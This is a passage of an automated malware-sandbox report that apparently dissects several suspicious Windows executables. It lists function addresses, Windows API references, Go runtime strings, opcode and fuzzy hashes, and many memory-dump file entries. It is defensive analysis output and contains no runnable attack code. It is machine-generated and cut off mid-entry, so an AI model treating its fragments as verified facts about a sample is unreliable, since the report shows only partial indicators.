Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: DialogParamVisibleWindow
String ID: GETPASSWORD1
API String ID: 3157717868-3292211884
Opcode ID: a2794da179741b2778ea55df48dbaa3dbee7a858d049ebb80305366bfd0fb870
Instruction ID: 0c7eeec52c6d35402c51f3b4543075033cae2f0a273c0d5ffb8f778a45ffe1d7
Opcode Fuzzy Hash: a2794da179741b2778ea55df48dbaa3dbee7a858d049ebb80305366bfd0fb870
Instruction Fuzzy Hash: 9E316165A0DA8285E610AF1AAC600B7A722BF6FB94FC804F5DB4E0775DCE2CE455C770

Function 00007FF7B67F2014 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF7B67F2086
GetFileType.KERNEL32 ref: 00007FF7B67F209C

Strings

@, xrefs: 00007FF7B67F20C7

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: cfc5635d5d47b790a45b886e407ba3a029ac6da1d5fa2ca2579a3853925e004a
Instruction ID: 2f7722db756f5984ac0250886c0a9fffa917ec022a499ef1024f0c31d58ed9f8
Opcode Fuzzy Hash: cfc5635d5d47b790a45b886e407ba3a029ac6da1d5fa2ca2579a3853925e004a
Instruction Fuzzy Hash: 3521B823A28AC281EB605B2C9CB053AA651FB6E774F640375D77E077D8CE79D481C311

Function 00007FF7B67E7848 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7B67E57EE), ref: 00007FF7B67E788C
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7B67E57EE), ref: 00007FF7B67E78D2

Strings

csm, xrefs: 00007FF7B67E78BF

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: f9cbc5942d5ed5241ddbc86705efc511784e5adb6a39813d68a5b78bd03bb5cb
Instruction ID: f61883d5ccb3c149552ee7d5398c18f08631f613a934a88d9700624fad7f70bf
Opcode Fuzzy Hash: f9cbc5942d5ed5241ddbc86705efc511784e5adb6a39813d68a5b78bd03bb5cb
Instruction Fuzzy Hash: BD118F36608B8582EB509F19F85026AB7A5FBA9B84F984270DF8D07758DF3CC455CB00

Function 00007FF7B67CA83C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7B67CA847
FindResourceW.KERNEL32 ref: 00007FF7B67CA85D

Strings

RTL, xrefs: 00007FF7B67CA853

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: a45610fe9d42f5f181feef3a06741817b69cf11aeaebfa57cd0cb73b5dfd576c
Instruction ID: fad9d0280686b1b45f4407babfe419acd6fa12bc8dfbcd65a168eacaaa227cae
Opcode Fuzzy Hash: a45610fe9d42f5f181feef3a06741817b69cf11aeaebfa57cd0cb73b5dfd576c
Instruction Fuzzy Hash: 80D01251F1568682FF196B7A5C94B7652909B3EF41F8800B8CB2D06358EE6DA0848B64

Analysis Process: 333.exePID: 7636, Parent PID: 7556COMMON

Non-executed Functions

Function 00428110 Relevance: 8.9, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

", xrefs: 004282FB
runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:, xrefs: 004282BE
,-./01456:;<=>?@BCFLMNOPSUYZ["\, xrefs: 00428250
VirtualQuery for stack base failedWill not notify aakore in dev modeadding nil Certificate to CertPoolattempted to parse unknown event: attempting to walk past file path.can't evaluate field %s in type %scan't handle %s for arg of type %scannot squash non-stru, xrefs: 004282F2
)*.*/+-, - ---1->.*._/*///i00010X0b0s0x2580: :]; <<=#> A3A4CNCcCfCoCsLlLmLoLtLuMBMcMeMnNONdNlNoOKONOUOnPcPdPePfPiPoPsSTScSkSmSoTeToV1V2V3V5V6YiZlZpZs[]":">"\*\D\E\S\W\"\\\d\n\r\s\t\w ]:]aAeEeqfFgegth2i)iIifipivjslLleltmsnNnenonsonorrRs sStvuUupusxX{{{}, xrefs: 0042827A
runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtemplate: %s:%d: %stime: unknown unit too many open filesunclosed left parenunexpected %s in %sunexpected In, xrefs: 00428226
bad g0 stackbad recoveryblock clausec ap trafficc hs trafficcan't happencas64 failedchan receiveclose notifycontainsrunecontent-typecontext.TODOdocument enddumping heapend tracegcentersyscallexcludesrunegcpacertracegetaddrinfowhost is downhtml_encodedhttp2deb, xrefs: 00428295

Memory Dump Source

Source File: 00000005.00000002.1317364581.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1317346965.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1317994676.0000000000758000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1317994676.00000000008C3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318693051.0000000000B4A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318711629.0000000000B4B000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318734872.0000000000B4F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318752968.0000000000B50000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318778404.0000000000B76000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318795705.0000000000B78000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318811983.0000000000B7A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318811983.0000000000B82000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318811983.0000000000B90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318811983.0000000000B94000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318878121.0000000000B95000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318896450.0000000000B97000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_333.jbxd

Similarity

API ID:
String ID: "$)*.*/+-, - ---1->.*._/*///i00010X0b0s0x2580: :]; <<=#> A3A4CNCcCfCoCsLlLmLoLtLuMBMcMeMnNONdNlNoOKONOUOnPcPdPePfPiPoPsSTScSkSmSoTeToV1V2V3V5V6YiZlZpZs[]":">"\*\D\E\S\W\"\\\d\n\r\s\t\w ]:]aAeEeqfFgegth2i)iIifipivjslLleltmsnNnenonsonorrRs sStvuUupusxX{{{}$,-./01456:;<=>?@BCFLMNOPSUYZ["\$VirtualQuery for stack base failedWill not notify aakore in dev modeadding nil Certificate to CertPoolattempted to parse unknown event: attempting to walk past file path.can't evaluate field %s in type %scan't handle %s for arg of type %scannot squash non-stru$bad g0 stackbad recoveryblock clausec ap trafficc hs trafficcan't happencas64 failedchan receiveclose notifycontainsrunecontent-typecontext.TODOdocument enddumping heapend tracegcentersyscallexcludesrunegcpacertracegetaddrinfowhost is downhtml_encodedhttp2deb$runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:$runtime: g0 stack [runtime: insert t= runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedtemplate: %s:%d: %stime: unknown unit too many open filesunclosed left parenunexpected %s in %sunexpected In
API String ID: 0-3307663397
Opcode ID: 371b87145031a91a256d3607ba9a5cf7bac26d0442340c44d029dfa48ce6a9b3
Instruction ID: 0727d7c439e86ed46b6066de739882ed745f391b284529d4a03feaf85666fe35
Opcode Fuzzy Hash: 371b87145031a91a256d3607ba9a5cf7bac26d0442340c44d029dfa48ce6a9b3
Instruction Fuzzy Hash: 0B51F4B46097119FD340EF25E18575EBBE0BF88708F848A2EE89887351E7389944CF57

Function 00432F20 Relevance: 5.1, Strings: 4, Instructions: 110COMMON

Download Yara Rule

Strings

releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchset bit is not 0 or 1stale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustag:yaml, xrefs: 004330E7
m->p= next= p->m= prev= span=%s.log%s[%d]%s[%s]%v: %v&type=' for '"&<>, xrefs: 0043300B
m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= s.nelems= schedtick= span.list=%!(BADPREC)%v, err: %v'[^']*'|\S+, settings:/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBackupWriteBad GatewayBad RequestBearer , xrefs: 00433057
releasep: m=remote errorruntime: gp=s ap traffics hs trafficsequence endshort bufferstatus code stream starttransmitfileunexpected )unknown portuuid_rfc4122verbose logswirep: p->m=wtsapi32.dll != sweepgen (default %q) (default %v) MB released MB) workers= ca, xrefs: 00432FE9

Memory Dump Source

Source File: 00000005.00000002.1317364581.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1317346965.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1317994676.0000000000758000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1317994676.00000000008C3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318693051.0000000000B4A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318711629.0000000000B4B000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318734872.0000000000B4F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318752968.0000000000B50000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318778404.0000000000B76000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318795705.0000000000B78000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318811983.0000000000B7A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318811983.0000000000B82000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318811983.0000000000B90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318811983.0000000000B94000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318878121.0000000000B95000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1318896450.0000000000B97000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_333.jbxd

Similarity

API ID:
String ID: m->mcache= mallocing= ms clock, nBSSRoots= p->mcache= p->status= s.nelems= schedtick= span.list=%!(BADPREC)%v, err: %v'[^']*'|\S+, settings:/dev/stderr/dev/stdout/index.html30517578125: frame.sp=; Max-Age=0<invalid opBackupWriteBad GatewayBad RequestBearer $ m->p= next= p->m= prev= span=%s.log%s[%d]%s[%s]%v: %v&type=' for '"&<>$releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: work.nwait= sequence tag mismatchset bit is not 0 or 1stale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestopg: invalid statustag:yaml$releasep: m=remote errorruntime: gp=s ap traffics hs trafficsequence endshort bufferstatus code stream starttransmitfileunexpected )unknown portuuid_rfc4122verbose logswirep: p->m=wtsapi32.dll != sweepgen (default %q) (default %v) MB released MB) workers= ca
API String ID: 0-2642112372
Opcode ID: c2ca8405b5da2c8fdbfa9de6bacc28937eca2521e66fbce72b783a96c1141b34
Instruction ID: 8025ae885e52a996b6f1d300fd0941d28a4d49f4f4f87af99b50624ec183a896
Opcode Fuzzy Hash: c2ca8405b5da2c8fdbfa9de6bacc28937eca2521e66fbce72b783a96c1141b34
Instruction Fuzzy Hash: 4051D5B46083018FD304EF25D185B5ABBF5BF88308F81986EE8888B352D779D994DB57

Analysis Process: OX7I8331HPIJ7S9YM876UXZCAF9K.exePID: 564, Parent PID: 2500COMMON

Execution Graph

Execution Coverage:	0.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.9%
Total number of Nodes:	474
Total number of Limit Nodes:	5

Executed Functions

Function 018B379E Relevance: 6.0, APIs: 4, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 018B37B6

Part of subcall function 018B6A1E: __FF_MSGBANNER.LIBCMT ref: 018B6A35
Part of subcall function 018B6A1E: __NMSG_WRITE.LIBCMT ref: 018B6A3C
Part of subcall function 018B6A1E: RtlAllocateHeap.NTDLL(028D0000,00000000,00000001,?,?,?,?,012D19D9,00002000,?,?,012D10BB,?), ref: 018B6A61

std::exception::exception.LIBCMT ref: 018B37D4
__CxxThrowException@8.LIBCMT ref: 018B37E9

Part of subcall function 018B41A5: RaiseException.KERNEL32(?,?,00000001,01D29490,?,00000000,?,?,?,01720BE2,00000001,01D29490), ref: 018B41FA

EncodePointer.KERNEL32(00000000,?,?,01D29490,?,00000001), ref: 018B37FE

Memory Dump Source

Source File: 00000010.00000002.1890102512.0000000000F21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000010.00000002.1890065904.0000000000F20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891666369.0000000001D52000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891757609.0000000001D54000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891836206.0000000001D58000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891864867.0000000001D5B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891924362.0000000001D5E000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D6D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D81000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D85000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D89000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8D000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.00000000025FC000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_OX7I8331HPIJ7S9YM876UXZCAF9K.jbxd

Similarity

API ID: AllocateEncodeExceptionException@8HeapPointerRaiseThrow_mallocstd::exception::exception
String ID:
API String ID: 1860243754-0
Opcode ID: 1020e0623ee7d6f418e136ff307bb0a78ec63fd0abf41dffd5848d31fb593eb8
Instruction ID: 60e00931071bf628f2ba6013a5bdc9d0d3f00b2aaca2c231405ee8cb54519b6c
Opcode Fuzzy Hash: 1020e0623ee7d6f418e136ff307bb0a78ec63fd0abf41dffd5848d31fb593eb8
Instruction Fuzzy Hash: E101F77150461AABFB25AA68FC51AFE3BA8EB10724F10806AED04D62C1EB3087448696

Non-executed Functions

Function 012F3D90 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1890102512.0000000000F21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000010.00000002.1890065904.0000000000F20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891666369.0000000001D52000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891757609.0000000001D54000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891836206.0000000001D58000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891864867.0000000001D5B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891924362.0000000001D5E000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D6D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D81000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D85000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D89000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8D000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.00000000025FC000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_OX7I8331HPIJ7S9YM876UXZCAF9K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d9cb702cc43d0ae33907f74bb97ec86afc96aa193f9de19b204377a2169393c
Instruction ID: 10958725e380cb929aa3b35aa35a8c32e7148bbafa95837bdad1ae4ddefd548c
Opcode Fuzzy Hash: 0d9cb702cc43d0ae33907f74bb97ec86afc96aa193f9de19b204377a2169393c
Instruction Fuzzy Hash: 3021C5343001119FDB25DF1DC898D6AFBEAFFD9651719449DA6998B361CB21EC01CAA0

Function 012F4140 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1890102512.0000000000F21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000010.00000002.1890065904.0000000000F20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891666369.0000000001D52000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891757609.0000000001D54000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891836206.0000000001D58000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891864867.0000000001D5B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891924362.0000000001D5E000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D6D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D81000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D85000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D89000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8D000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.00000000025FC000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_OX7I8331HPIJ7S9YM876UXZCAF9K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99e83496cc0bbcf06e969beb1042779ecef00516fb421de95c9b01886ad4acb6
Instruction ID: 780877c73fcf0b584dc43fa91b1a9ec9370d03b27964995aa6ee812b12bcd657
Opcode Fuzzy Hash: 99e83496cc0bbcf06e969beb1042779ecef00516fb421de95c9b01886ad4acb6
Instruction Fuzzy Hash: 031109343000119FDA24DF1DC89CC6BFBEAEFE9651719409DA6898B361CB71EC01CAA0

Function 012F3BE0 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1890102512.0000000000F21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000010.00000002.1890065904.0000000000F20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891666369.0000000001D52000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891757609.0000000001D54000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891836206.0000000001D58000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891864867.0000000001D5B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891924362.0000000001D5E000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D6D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D81000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D85000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D89000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8D000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.00000000025FC000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_OX7I8331HPIJ7S9YM876UXZCAF9K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e84acfd47a8ef946729741006cc0504e3a2041776b004c66d5af07148103f3da
Instruction ID: 7ce3e81bbe01627ffaff4e8b714c76fb14192dea8904e1a5bbd3f5f63a1e5edf
Opcode Fuzzy Hash: e84acfd47a8ef946729741006cc0504e3a2041776b004c66d5af07148103f3da
Instruction Fuzzy Hash: ED11C9353001119FDB25DF1EC89CD6AFBEAFFD9A61719405DA6898B361CB21EC01CBA0

Function 012D01A0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1890102512.0000000000F21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000010.00000002.1890065904.0000000000F20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001915000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001B51000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1890935176.0000000001C57000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891666369.0000000001D52000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891757609.0000000001D54000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891836206.0000000001D58000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891864867.0000000001D5B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891924362.0000000001D5E000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D6D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D81000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D85000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1891959096.0000000001D89000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.0000000001D8D000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1892185599.00000000025FC000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f20000_OX7I8331HPIJ7S9YM876UXZCAF9K.jbxd

Similarity

API ID:
String ID:
API String ID:
